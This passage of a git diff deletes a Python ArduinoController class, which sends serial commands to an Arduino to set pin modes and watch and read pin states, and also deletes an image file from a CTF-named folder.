arduino.get_duration(2) -print(f"Pin 2 state: {state}, duration since change: {duration} ms") - -# Wait for a state change to HIGH -arduino.wait_for(2, "HIGH") - -# Disconnect -arduino.disconnect() -===================================================================== -""" - -import serial -import time - - -class ArduinoController: - """Provides a structured interface for Arduino serial control.""" - - def __init__(self, port, baudrate=115200, timeout=1.0): - self.port = port - self.baudrate = baudrate - self.timeout = timeout - self.ser = None - - # ------------------------------------------------------------- - # Connection management - # ------------------------------------------------------------- - def connect(self): - """Establish serial connection and wait for READY signal.""" - self.ser = serial.Serial(self.port, self.baudrate, timeout=self.timeout) - time.sleep(2) # Allow Arduino reset - while True: - line = self._read_line() - if line == "READY": - break - - def disconnect(self): - """Close serial connection cleanly.""" - if self.ser and self.ser.is_open: - self.ser.close() - - # ------------------------------------------------------------- - # Internal communication utilities - # ------------------------------------------------------------- - def _send_command(self, command, expect_response=True): - """Send a command string to the Arduino.""" - if not self.ser or not self.ser.is_open: - raise ConnectionError("Serial connection not established.") - self.ser.write((command + "\n").encode("utf-8")) - if expect_response: - return self._read_line() - return None - - def _read_line(self): - """Read a single line from serial and strip whitespace.""" - line = self.ser.readline().decode("utf-8").strip() - return line - - # ------------------------------------------------------------- - # Core command wrappers - # ------------------------------------------------------------- - def get_version(self): - """Return firmware version.""" - return self._send_command("GET_VERSION") - - def set_mode(self, pin, mode): - """Configure a pin as INPUT or OUTPUT.""" - return self._send_command(f"SET_MODE:{pin}:{mode}") - - def get_pinmap(self): - """Return current pin assignments.""" - return self._send_command("GET_PINMAP") - - def set_default(self, pin, state): - """Set an output pin to a default HIGH or LOW state.""" - return self._send_command(f"SET_DEFAULT:{pin}:{state}") - - def set_for(self, pin, state, duration_ms): - """Set an output pin state for a specific duration (ms).""" - return self._send_command(f"SET_FOR:{pin}:{state}:{duration_ms}") - - def watch(self, pin): - """Start watching an input pin for state changes.""" - return self._send_command(f"WATCH:{pin}") - - def watch_pin(self, pin, duration_ms=2000): - """ - Activates WATCH mode for a pin and collects CHANGE events for a period. - - Args: - pin (int): Input pin number to watch. - duration_ms (int): How long to listen for events. - - Returns: - list of dict: [{'pin': int, 'state': str, 'duration_ms': int}, ...] - """ - # Use the existing _send_command() method - self._send_command(f"WATCH:{pin}", expect_response=False) - messages = [] - start = time.time() - - while (time.time() - start) * 1000 < duration_ms: - if self.ser.in_waiting: - line = self._read_line() - if line.startswith("CHANGE:"): - # Example: CHANGE:2:HIGH:1421 - parts = line.split(":") - if len(parts) == 4: - try: - messages.append({ - 'pin': int(parts[1]), - 'state': parts[2], - 'duration_ms': int(parts[3]) - }) - except ValueError: - pass - time.sleep(0.005) - - return messages - - - def get_state(self, pin): - """Return current state (HIGH or LOW) of a pin.""" - response = self._send_command(f"GET_STATE:{pin}") - if response.startswith("STATE:"): - return response.split(":")[2] - return response - - def get_duration(self, pin): - """Return duration since last state change.""" - response = self._send_command(f"GET_DURATION:{pin}") - if response.startswith("DURATION:"): - return int(response.split(":")[2]) - return response - - def wait_for(self, pin, state): - """Block until specified pin reaches given state.""" - response = self._send_command(f"WAIT_FOR:{pin}:{state}") - if response.startswith("WAIT_RESULT:"): - _, pin_str, final_state, duration = response.split(":") - return {"pin": int(pin_str), "state": final_state, "duration_ms": int(duration)} - return response - - # ------------------------------------------------------------- - # Continuous monitoring - # ------------------------------------------------------------- - def monitor(self, callback=None): - """ - Continuously read from serial and process change notifications. - Optionally pass a callback(line) for custom handling. - """ - print("[INFO] Monitoring started. Press Ctrl+C to stop.") - try: - while True: - line = self._read_line() - if line: - if callback: - callback(line) - else: - print(line) - except KeyboardInterrupt: - print("\n[INFO] Monitoring stopped.") - - # ------------------------------------------------------------- - # Utility - # ------------------------------------------------------------- - def flush(self): - """Flush serial input buffer.""" - if self.ser: - self.ser.reset_input_buffer() diff --git a/Misc/12Sec_CTF_V1/docs/pwnpad.png b/Misc/12Sec_CTF_V1/docs/pwnpad.png deleted file mode 100644 index 80561e6..0000000 --- a/Misc/12Sec_CTF_V1/docs/pwnpad.png +++ /dev/null Binary files differ